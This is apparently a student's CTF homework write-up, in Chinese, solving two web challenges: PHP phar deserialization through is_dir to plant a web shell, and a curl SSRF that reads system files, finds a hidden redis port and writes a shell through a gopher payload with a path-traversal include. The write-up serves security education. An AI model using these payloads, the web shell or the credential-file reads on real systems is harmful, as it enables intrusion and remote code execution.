--- tags: 資訊安全實務 --- # HW6 ## Rero meme 這題在看到lib.php裡面meme class裡存檔是寫在__destruct裡面我就猜到可能是要用反序列化的方法去assign我們要的檔名跟內容來做到RCE,但是我這個地方卡了一個禮拜,先來說說我觀察到了甚麼地方可能可以利用 * `file_put_contents` * `file_get_contents` * `exif_imagetype` 我原本看到這三個有關讀檔案的我想說穩了,就是他們能夠讓我來上傳一個phar檔案來做到反序列化的洞,但是`exif_imagetype`跟`file_get_contents`都被寫死去讀`$_FILE['meme']['tmp_name']`這個部分,這部分是我們無法控制的,因為tmp name是由server端那邊的配置來決定,那如果照他code正常地走的話,file_put_contents也不可能用phar這個協議來去寫檔,因為meme class在創建時filename開頭寫死了images/,所以後來我就以為我想錯了,搞不好其實不是反序列化的題目...,所以後來我就看到`$this->username = $_SESSION['username'] = $username;`這個地方,又想如果我可以把session的檔案include到這個網頁然後再登入時注入的是一段php code如下 * `<?php system($_GET['cmd']);?>` 如果能做到的話,我就可以在上面做到RCE...,但是根本沒有地方給我LFI,所以這條路也行不通,於是乎我就放棄去寫第二題了www,寫完第二題回來又看了三四天感覺還是找不到洞給我打,在11/27號晚上睡覺的時候就突然想到一個部分先上code * `if(!is_dir($username)) mkdir($username);` 我突然就想到username我們完全可以控制,雖然is_dir看起來不像是會去讀檔案的感覺但我想說就試試看,就在自己的電腦上寫了一個簡單的測試程式來測看看 * 首先我先把原本meme的destruct改寫成 ```php function __destruct() { if ($this->content != NULL) echo $this->content; } ``` * 自己寫了一個生成phar的php code ```php <?php class Meme { public $title = NULL; public $author = NULL; public $filename = "images/meow1.php"; private $content = "123"; } $phar = new Phar("test/pharfile.phar.gif"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?phar __HALT_COMPILER(); ?>"); $obj = new Meme(); $phar->setMetadata($obj); $phar->addFromString("fuck.txt", "owo"); $phar->stopBuffering(); ?> ``` * 然後再要執行在server上的php code加上這一行來看看會不會輸出123 ```php !is_dir("phar://pharfile.phar.gif/fuck.txt"); ``` * 測試結果,最後果然能夠成功反序列化,在網頁上顯示了123 上面的測試結果讓我確定了,is_dir用phar這個協議去執行的時候也能夠執行,且能夠反序列化檔案,自己想了那麼久才想到,最後去google就發現有人把受phar影響的function都列出來了,我是白癡。 所以最後我就把$content的部分改成`"<?php system(\$_GET['cmd']);?>"`,先隨邊登入一個帳號(假設這個username為u1)把這個phar file上傳後取名為test.phar,因為這題會自動幫我在最後的副檔名加上.gif,所以實際上的檔名是test.phar.gif,然後我在登出後用另一個帳號登入,username為phar://u1/test.phar.gif,登入後我在網址後面在接上/images/meow1.php?cmd=ls,果然成功RCE了,到此為止就算是把這題給解決了。 FLAG ``` FLAG{レロレロ?RERO!レロレロ,RERO?レロレロ~} ``` ## BASE64 ENCODE 這一題比起上一題來說...,只能說雖然都很簡單但不知道為啥這題我解的就比較順利,這題點進題目網站後有個能輸入網址的地方,輸入按下轉換後會把讀到的東西轉為base64的內容,我就在想他這個去查網址內容的部分該不會是用curl吧,我就嘗試輸入了`file:///var/www/html/index.php`後把內容拿去base64 decode,果然拿到了這題的source code,在看了一下後有個地方是include page/result.inc.php的地方,所以我又輸入`file:///var/www/html/page/result.inc.php`來去拿到第二個部分的code,就看到果然是用curl去抓到內容的,那麼首先在index.php這code他提示了我要去找local service,我就想說我也不太會找就去[google](https://github.com/w181496/Web-CTF-Cheatsheet)到了一些可能存有重要資訊的檔名路徑,大概有 * file:///etc/passwd * file:///proc/self/cmdline * file:///proc/self/exe * file:///proc/self/environ 那讓我比較感興趣的是passwd這個檔案,進去之後就發現有一個redis的service,uid為101,然後我就大概知道是要用redis寫檔來RCE了,那首先我要存取到server上的service我需要127.0.0.x之類的,但在page.inc.php裡面把這個給檔掉了,但是他是用parse_url,而且他code是`if ($hostname = parse_url($url)['host'])`,所以我只要讓這個parse_url壞掉就可以了,這很簡單,只要我在`gopher://`、`http://`或`dict://`之類的後面接/127.0.0.1而不是直接打127.0.0.1就能成功繞過去了,且url在解析`http:///127.0.0.1`的時候會自動變成`http://127.0.0.1`,所以現在能夠利用gopher來做ssrf了,但當我輸入`dict:///127.0.0.1:6379/info`時,並沒有成功連上,也就是說這題的redis並沒有開在預設的port上,我們必須要找出來。 要找port我猜是要去有關網路的地方找,所以我就看了一下我自己的server裡/proc/self/net下面有甚麼檔案,發現有tcp跟udp之類的檔案,那我就猜應該這裡會有我要的,我就去存取題目server的tcp檔案了,果然看到了以下的東西: * sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid * 7: 0100007F:69FE 0100007F:ADF2 01 00000000:00000000 02:00001D17 00000000 101 先前我在讀passwd檔案時知道redis的uid是101,這裡我又看到了有關uid 101的address資訊,7F是127,那我猜後面的69FE就是port吧,換成十進制後就是27134,所以我再次輸入`dict:///127.0.0.1:27134/info`後果然看到了redis的資訊。 接下來就是要寫檔了,redis要怎麼寫檔的方法網路上很多就去找了,但我碰上了第二個問題,我沒有權限寫在/var/www/html的路徑下面,但可以寫在tmp的路徑下,且index.php有一段code ```php $page = str_replace("../", "", $_GET['page'] ?? 'home'); include("page/$page.inc.php"); ``` 也就是說我能寫在tmp路徑下了,我接下來就是要做到LFI,把tmp路徑下的php檔include進來,寫得有點長了我以下重點我先用條列式 * `str_replace("../", "", $_GET['page'] ?? 'home')`這段code讓我們輸入`../`會變成空字串 * 我們無法利用../來回去上一個路徑,但他只做一次replace所以很好繞過 * `....//`,就能成功讓他解析成`../` * 所以最後就會變成輸入`?page=....//....//....//....//tmp/filename` * 利用gopher X redis寫一個`"<?php system($_GET['cmd']);?>"`的內容 * 檔名叫做shell.inc.php * SAVE後在網頁上輸入`?page=....//....//....//....//tmp/shell&cmd=your cmd`就能成功RCE了 * `gopher:///127.0.0.1:27134/_FLUSHALL%0D%0ASET%20shell%20%22%3C%3Fphp%20system(%24_GET%5B'cmd'%5D)%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2Ftmp%0ACONFIG%20SET%20DBFILENAME%20shell.inc.php%0D%0ASAVE%0D%0AQUIT` 最後拿到的FLAG ``` FLAG{data:text/flag;r3d1s-s3rv3r} ```